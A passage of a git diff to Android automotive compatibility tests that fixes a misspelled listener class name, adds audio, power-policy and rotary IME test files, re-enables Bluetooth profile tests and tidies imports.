+        mManager.addFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.removeFocusListener(listener1);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from all types of app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isTrue();
+
         mManager.removeFocusListener(listener2);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from all types of app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        // listener2 is unregistered from all types of app, no events are expected.
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+
+        // Double unregistering should be okay.
+        mManager.removeFocusListener(listener1);
+        mManager.removeFocusListener(listener2);
+    }
+
+    @Test
+    public void testRegisterUnregisterSpecificApp() throws Exception {
+        FocusChangedListener listener1 = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
+
+        mManager.addFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.addFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.removeFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from navigation app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isTrue();
+
+        mManager.removeFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from navigation app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        // listener2 is unregistered from navigation app, no events are expected.
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+
+        // Double unregistering should be okay.
+        mManager.removeFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.removeFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
     }
 
     @Test
@@ -139,8 +200,8 @@
         final int[] emptyFocus = new int[0];
 
         Assert.assertArrayEquals(emptyFocus, mManager.getActiveAppTypes());
-        FocusChangedListerner change = new FocusChangedListerner();
-        FocusChangedListerner change2 = new FocusChangedListerner();
+        FocusChangedListener change = new FocusChangedListener();
+        FocusChangedListener change2 = new FocusChangedListener();
         FocusOwnershipCallback owner = new FocusOwnershipCallback();
         FocusOwnershipCallback owner2 = new FocusOwnershipCallback();
         mManager.addFocusListener(change, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -252,8 +313,8 @@
 
         Assert.assertArrayEquals(new int[0], mManager.getActiveAppTypes());
 
-        FocusChangedListerner listener = new FocusChangedListerner();
-        FocusChangedListerner listener2 = new FocusChangedListerner();
+        FocusChangedListener listener = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
         FocusOwnershipCallback owner = new FocusOwnershipCallback();
         mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
         manager2.addFocusListener(listener2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -279,8 +340,8 @@
 
     @Test
     public void testMultipleChangeListenersPerManager() throws Exception {
-        FocusChangedListerner listener = new FocusChangedListerner();
-        FocusChangedListerner listener2 = new FocusChangedListerner();
+        FocusChangedListener listener = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
         FocusOwnershipCallback owner = new FocusOwnershipCallback();
         mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
         mManager.addFocusListener(listener2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -297,14 +358,14 @@
 
         listener.reset();
         listener2.reset();
-        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        mManager.abandonAppFocus(owner);
         assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
         assertTrue(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
     }
 
-    private class FocusChangedListerner implements CarAppFocusManager.OnAppFocusChangedListener {
+    private class FocusChangedListener implements CarAppFocusManager.OnAppFocusChangedListener {
         private int mLastChangeAppType;
         private boolean mLastChangeAppActive;
         private final Semaphore mChangeWait = new Semaphore(0);
diff --git a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
new file mode 100644
index 0000000..8f32249
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static android.car.Car.PERMISSION_CAR_CONTROL_AUDIO_VOLUME;
+import static android.car.media.CarAudioManager.*;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.expectThrows;
+
+import android.app.UiAutomation;
+import android.car.Car;
+import android.car.media.CarAudioManager;
+import android.os.SystemClock;
+import android.view.KeyEvent;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public final class CarAudioManagerTest extends CarApiTestBase {
+
+    private static final UiAutomation UI_AUTOMATION =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+
+    private CarAudioManager mCarAudioManager;
+    private SyncCarVolumeCallback mCallback;
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        mCarAudioManager = (CarAudioManager) getCar().getCarManager(Car.AUDIO_SERVICE);
+    }
+
+    @After
+    public void cleanUp() {
+        if (mCallback != null) {
+            // Unregistering the last callback requires PERMISSION_CAR_CONTROL_AUDIO_VOLUME
+            runWithCarControlAudioVolumePermission(
+                    () -> mCarAudioManager.unregisterCarVolumeCallback(mCallback));
+        }
+    }
+
+    @Test
+    public void isAudioFeatureEnabled_withVolumeGroupMuteFeature_succeeds() {
+        boolean volumeGroupMutingEnabled = mCarAudioManager.isAudioFeatureEnabled(
+                        AUDIO_FEATURE_VOLUME_GROUP_MUTING);
+
+        assertThat(volumeGroupMutingEnabled).isAnyOf(true, false);
+    }
+
+    @Test
+    public void isAudioFeatureEnabled_withDynamicRoutingFeature_succeeds() {
+        boolean dynamicRoutingEnabled = mCarAudioManager.isAudioFeatureEnabled(
+                        AUDIO_FEATURE_DYNAMIC_ROUTING);
+
+        assertThat(dynamicRoutingEnabled).isAnyOf(true, false);
+    }
+
+    @Test
+    public void isAudioFeatureEnabled_withNonAudioFeature_fails() {
+        IllegalArgumentException exception = expectThrows(IllegalArgumentException.class,
+                () -> mCarAudioManager.isAudioFeatureEnabled(-1));
+
+        assertThat(exception).hasMessageThat().contains("Unknown Audio Feature");
+    }
+
+    @Test
+    public void registerCarVolumeCallback_nullCallback_throwsNPE() {
+        assertThrows(NullPointerException.class,
+                () -> mCarAudioManager.registerCarVolumeCallback(null));
+    }
+
+    @Test
+    public void registerCarVolumeCallback_nonNullCallback_throwsPermissionError() {
+        mCallback = new SyncCarVolumeCallback();
+
+        Exception e = expectThrows(SecurityException.class,
+                () -> mCarAudioManager.registerCarVolumeCallback(mCallback));
+
+        assertThat(e.getMessage()).contains(PERMISSION_CAR_CONTROL_AUDIO_VOLUME);
+    }
+
+    @Test
+    public void registerCarVolumeCallback_withPermission_receivesCallback() throws Exception {
+        assumeDynamicRoutingIsEnabled();
+        mCallback = new SyncCarVolumeCallback();
+
+        runWithCarControlAudioVolumePermission(
+                () -> mCarAudioManager.registerCarVolumeCallback(mCallback));
+
+        injectVolumeDownKeyEvent();
+        assertWithMessage("CarVolumeCallback#onGroupVolumeChanged should be called")
+                .that(mCallback.received())
+                .isTrue();
+    }
+
+    @Test
+    public void unregisterCarVolumeCallback_nullCallback_throws() {
+        assertThrows(NullPointerException.class,
+                () -> mCarAudioManager.unregisterCarVolumeCallback(null));
+    }
+
+    @Test
+    public void unregisterCarVolumeCallback_unregisteredCallback_doesNotReceiveCallback()
+            throws Exception {
+        mCallback = new SyncCarVolumeCallback();
+
+        mCarAudioManager.unregisterCarVolumeCallback(mCallback);
+
+        assertWithMessage("CarVolumeCallback#onGroupVolumeChanged should not be called")
+                .that(mCallback.received())
+                .isFalse();
+    }
+
+    @Test
+    public void unregisterCarVolumeCallback_withoutPermission_throws() {
+        mCallback = new SyncCarVolumeCallback();
+        runWithCarControlAudioVolumePermission(
+                () -> mCarAudioManager.registerCarVolumeCallback(mCallback));
+
+        Exception e = expectThrows(SecurityException.class,
+                () -> mCarAudioManager.unregisterCarVolumeCallback(mCallback));
+
+        assertThat(e.getMessage()).contains(PERMISSION_CAR_CONTROL_AUDIO_VOLUME);
+    }
+
+    @Test
+    public void unregisterCarVolumeCallback_noLongerReceivesCallback() throws Exception {
+        assumeDynamicRoutingIsEnabled();
+        SyncCarVolumeCallback callback = new SyncCarVolumeCallback();
+        runWithCarControlAudioVolumePermission(() -> {
+            mCarAudioManager.registerCarVolumeCallback(callback);
+            mCarAudioManager.unregisterCarVolumeCallback(callback);
+        });
+
+        injectVolumeDownKeyEvent();
+
+        assertWithMessage("CarVolumeCallback#onGroupVolumeChanged should not be called")
+                .that(callback.received())
+                .isFalse();
+    }
+
+    private void assumeDynamicRoutingIsEnabled() {
+        assumeTrue(mCarAudioManager.isAudioFeatureEnabled(AUDIO_FEATURE_DYNAMIC_ROUTING));
+    }
+
+    private void runWithCarControlAudioVolumePermission(Runnable runnable) {
+        UI_AUTOMATION.adoptShellPermissionIdentity(Car.PERMISSION_CAR_CONTROL_AUDIO_VOLUME);
+        try {
+            runnable.run();
+        } finally {
+            UI_AUTOMATION.dropShellPermissionIdentity();
+        }
+    }
+
+    private void injectVolumeDownKeyEvent() {
+        long downTime = SystemClock.uptimeMillis();
+        KeyEvent volumeDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_VOLUME_DOWN, 0);
+        UI_AUTOMATION.injectInputEvent(volumeDown, true);
+    }
+
+    private static final class SyncCarVolumeCallback extends CarVolumeCallback {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+
+        boolean received() throws InterruptedException {
+            return mLatch.await(1L, TimeUnit.SECONDS);
+        }
+
+        @Override
+        public void onGroupVolumeChanged(int zoneId, int groupId, int flags) {
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
index aee85da..b4f50d3 100644
--- a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
+++ b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
@@ -32,27 +32,30 @@
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
 import android.util.SparseArray;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.RequiredFeatureRule;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.ReentrantLock;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.ClassRule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
 /**
  * Contains the tests to prove compliance with android automotive specific bluetooth requirements.
  */
-// TODO(b/146663105): Fix hidden API
-//@SmallTest
-//@RequiresDevice
-//@RunWith(AndroidJUnit4.class)
+@SmallTest
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarBluetoothTest {
     @ClassRule
     public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
@@ -165,20 +168,19 @@
             mConnected = false;
         }
     }
-// TODO(b/146663105): Fix hidden API
-/*
+
     // Automotive required profiles and meta data. Profile defaults to 'not connected' and name
     // is used in debug and error messages
     private static SparseArray<ProfileInfo> sRequiredBluetoothProfiles = new SparseArray();
     static {
-        sRequiredBluetoothProfiles.put(BluetoothProfile.A2DP_SINK,
-                new ProfileInfo("A2DP Sink")); // 11
-        sRequiredBluetoothProfiles.put(BluetoothProfile.AVRCP_CONTROLLER,
-                new ProfileInfo("AVRCP Controller")); // 12
-        sRequiredBluetoothProfiles.put(BluetoothProfile.HEADSET_CLIENT,
-                new ProfileInfo("HSP Client")); // 16
-        sRequiredBluetoothProfiles.put(BluetoothProfile.PBAP_CLIENT,
-                new ProfileInfo("PBAP Client")); // 17
+        sRequiredBluetoothProfiles.put(11,
+                new ProfileInfo("A2DP Sink")); // BluetoothProfile.A2DP_SINK
+        sRequiredBluetoothProfiles.put(12,
+                new ProfileInfo("AVRCP Controller")); // BluetoothProfile.AVRCP_CONTROLLER
+        sRequiredBluetoothProfiles.put(16,
+                new ProfileInfo("HSP Client")); // BluetoothProfile.HEADSET_CLIENT
+        sRequiredBluetoothProfiles.put(17,
+                new ProfileInfo("PBAP Client")); // BluetoothProfile.PBAP_CLIENT
     }
     private static final int MAX_PROFILES_SUPPORTED = sRequiredBluetoothProfiles.size();
 
@@ -363,5 +365,4 @@
         waitForProfileConnections();
         checkProfileConnections();
     }
-*/
 }
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e8f46ed..9d6c115 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
diff --git a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
index 7dafee2..7c7cc1b 100644
--- a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -22,12 +23,13 @@
 
 import android.car.Car;
 import android.car.CarOccupantZoneManager;
+import android.car.CarOccupantZoneManager.OccupantZoneConfigChangeListener;
 import android.car.CarOccupantZoneManager.OccupantZoneInfo;
 import android.os.Process;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
 import android.view.Display;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -40,9 +42,11 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Instant apps cannot get car related permissions.")
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarOccupantZoneManagerTest extends CarApiTestBase {
 
+    private static String TAG = CarOccupantZoneManagerTest.class.getSimpleName();
+
     private OccupantZoneInfo mDriverZoneInfo;
 
     private CarOccupantZoneManager mCarOccupantZoneManager;
@@ -95,6 +99,17 @@
         assertThat(getDriverDisplay().getDisplayId()).isEqualTo(Display.DEFAULT_DISPLAY);
     }
 
+    @Test
+    public void testCanRegisterOccupantZoneConfigChangeListener() {
+        OccupantZoneConfigChangeListener occupantZoneConfigChangeListener
+                = createOccupantZoneConfigChangeListener();
+        mCarOccupantZoneManager
+                .registerOccupantZoneConfigChangeListener(occupantZoneConfigChangeListener);
+
+        mCarOccupantZoneManager
+                .unregisterOccupantZoneConfigChangeListener(occupantZoneConfigChangeListener);
+    }
+
     private Display getDriverDisplay() {
         Display driverDisplay =
                 mCarOccupantZoneManager.getDisplayForOccupant(
@@ -106,4 +121,12 @@
                 .isNotNull();
         return driverDisplay;
     }
+
+    private OccupantZoneConfigChangeListener createOccupantZoneConfigChangeListener() {
+        return new OccupantZoneConfigChangeListener () {
+            public void onOccupantZoneConfigChanged(int changeFlags) {
+                Log.i(TAG, "Got a confing change, flags: " + changeFlags);
+            }
+        };
+    }
 }
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 6304ebe..752d927 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static org.junit.Assert.assertFalse;
@@ -103,7 +104,7 @@
         Intent intent = new Intent();
         intent.setClassName(packageName, packageName + relativeClassName);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        return PendingIntent.getActivity(sContext, 0, intent, 0);
+        return PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);
     }
 
     @Test
diff --git a/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
new file mode 100644
index 0000000..cb0ac55
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.Car;
+import android.car.hardware.power.CarPowerManager;
+import android.car.hardware.power.CarPowerPolicy;
+import android.car.hardware.power.CarPowerPolicyFilter;
+import android.car.hardware.power.PowerComponent;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import com.google.common.base.Strings;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@SmallTest
+public final class CarPowerManagerTest extends CarApiTestBase {
+    private static String TAG = CarPowerManagerTest.class.getSimpleName();
+    private static final int LISTENER_WAIT_TIME_MS = 1000;
+    private static final int NO_WAIT = 0;
+
+    private CarPowerManager mCarPowerManager;
+    private final Executor mExecutor = mContext.getMainExecutor();
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        mCarPowerManager = (CarPowerManager) getCar().getCarManager(Car.POWER_SERVICE);
+    }
+
+    /**
+     * This test verifies 1) if the current power policy is set to applied one, 2) if proper power
+     * policy change listeners are invoked, 3) unrelated power policy listeners are not invoked,
+     * when a new power policy is applied.
+     */
+    @Test
+    public void testApplyNewPowerPolicy() throws Exception {
+        PowerPolicyListenerImpl listenerAudioOne = new PowerPolicyListenerImpl();
+        PowerPolicyListenerImpl listenerAudioTwo = new PowerPolicyListenerImpl();
+        PowerPolicyListenerImpl listenerWifi = new PowerPolicyListenerImpl();
+        PowerPolicyListenerImpl listenerLocation = new PowerPolicyListenerImpl();
+        CarPowerPolicyFilter filterAudio = new CarPowerPolicyFilter.Builder()
+                .setComponents(PowerComponent.AUDIO).build();
+        CarPowerPolicyFilter filterWifi = new CarPowerPolicyFilter.Builder()
+                .setComponents(PowerComponent.WIFI).build();
+        CarPowerPolicyFilter filterLocation = new CarPowerPolicyFilter.Builder()
+                .setComponents(PowerComponent.LOCATION).build();
+        String policyId = "audio_on_wifi_off";
+
+        definePowerPolicy(policyId, "AUDIO", "WIFI");
+        mCarPowerManager.addPowerPolicyListener(mExecutor, filterAudio, listenerAudioOne);
+        mCarPowerManager.addPowerPolicyListener(mExecutor, filterAudio, listenerAudioTwo);
+        mCarPowerManager.addPowerPolicyListener(mExecutor, filterWifi, listenerWifi);
+        mCarPowerManager.addPowerPolicyListener(mExecutor, filterLocation, listenerLocation);
+        mCarPowerManager.removePowerPolicyListener(listenerAudioTwo);
+        applyPowerPolicy(policyId);
+
+        CarPowerPolicy policy = mCarPowerManager.getCurrentPowerPolicy();
+        assertWithMessage("Current power policy").that(policy).isNotNull();
+        assertWithMessage("Current power policy ID").that(policy.getPolicyId()).isEqualTo(policyId);
+        assertWithMessage("Added audio listener's current policy ID")
+                .that(listenerAudioOne.getCurrentPolicyId(LISTENER_WAIT_TIME_MS))
+                .isEqualTo(policyId);
+        makeSureExecutorReady();
+        assertWithMessage("Removed audio listener's current policy")
+                .that(listenerAudioTwo.getCurrentPolicyId(NO_WAIT)).isNull();
+        assertWithMessage("Added Wifi listener's current policy ID")
+                .that(listenerWifi.getCurrentPolicyId(LISTENER_WAIT_TIME_MS)).isEqualTo(policyId);
+        makeSureExecutorReady();
+        assertWithMessage("Added location listener's current policy")
+                .that(listenerLocation.getCurrentPolicyId(NO_WAIT)).isNull();
+    }
+
+    private void makeSureExecutorReady() throws Exception {
+        CountDownLatch latch = new CountDownLatch(1);
+        mExecutor.execute(() -> {
+            latch.countDown();
+        });
+        latch.await();
+    }
+
+    private static void definePowerPolicy(String policyId, String enabledComponents,
+            String disabledComponents) throws Exception {
+        String command = "cmd car_service define-power-policy " + policyId;
+        if (!Strings.isNullOrEmpty(enabledComponents)) {
+            command += " --enable " + enabledComponents;
+        }
+        if (!Strings.isNullOrEmpty(disabledComponents)) {
+            command += " --disable " + disabledComponents;
+        }
+        executeShellCommandWithPermission(android.Manifest.permission.DEVICE_POWER, command);
+    }
+
+    private static void applyPowerPolicy(String policyId) throws Exception {
+        executeShellCommandWithPermission(android.Manifest.permission.DEVICE_POWER,
+                "cmd car_service apply-power-policy %s", policyId);
+    }
+
+    private final class PowerPolicyListenerImpl implements
+            CarPowerManager.CarPowerPolicyListener {
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private String mCurrentPolicyId;
+
+        @Override
+        public void onPolicyChanged(CarPowerPolicy policy) {
+            mCurrentPolicyId = policy.getPolicyId();
+            mLatch.countDown();
+        }
+
+        @Nullable
+        public String getCurrentPolicyId(long waitTimeMs) throws Exception {
+            if (mLatch.await(waitTimeMs, TimeUnit.MILLISECONDS)) {
+                return mCurrentPolicyId;
+            }
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java b/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java
index 06e1212..ac298eb 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java
@@ -13,29 +13,32 @@
  * See the License for the specific language governing permissions and
  * limitations under the License
  */
+
 package android.car.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.car.Car;
 import android.car.VehicleAreaType;
 import android.car.VehiclePropertyType;
 import android.car.hardware.CarPropertyConfig;
 import android.car.hardware.property.CarPropertyManager;
-
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-import static com.google.common.truth.Truth.assertThat;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.Assert;
 import org.junit.Test.None;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
 @SmallTest
 @RequiresDevice
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 16c843d..4c5b379 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java b/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java
index 6cdb951..5bc3b4e 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java
@@ -13,30 +13,33 @@
  * See the License for the specific language governing permissions and
  * limitations under the License
  */
+
 package android.car.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.car.Car;
 import android.car.VehicleAreaType;
 import android.car.hardware.CarPropertyConfig;
 import android.car.hardware.CarPropertyValue;
 import android.car.hardware.property.CarPropertyManager;
-
 import android.platform.test.annotations.AppModeFull;
-import android.util.SparseArray;
-import androidx.test.runner.AndroidJUnit4;
-import static com.google.common.truth.Truth.assertThat;
-
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
+import android.util.SparseArray;
+
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.Test.None;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
 @SmallTest
 @RequiresDevice
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/car/src/android/car/cts/CarRotaryImeTest.java b/tests/tests/car/src/android/car/cts/CarRotaryImeTest.java
new file mode 100644
index 0000000..d1f9001
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarRotaryImeTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static android.provider.Settings.Secure.ENABLED_INPUT_METHODS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.os.ParcelFileDescriptor;
+import android.provider.Settings;
+import android.view.accessibility.AccessibilityManager;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.car.rotary.RotaryProtos;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.Arrays;
+
+public final class CarRotaryImeTest {
+    private static final ComponentName ROTARY_SERVICE_COMPONENT_NAME =
+            ComponentName.unflattenFromString("com.android.car.rotary/.RotaryService");
+
+    /** Hidden secure setting for disabled system IMEs. */
+    private static final String DISABLED_SYSTEM_INPUT_METHODS = "disabled_system_input_methods";
+
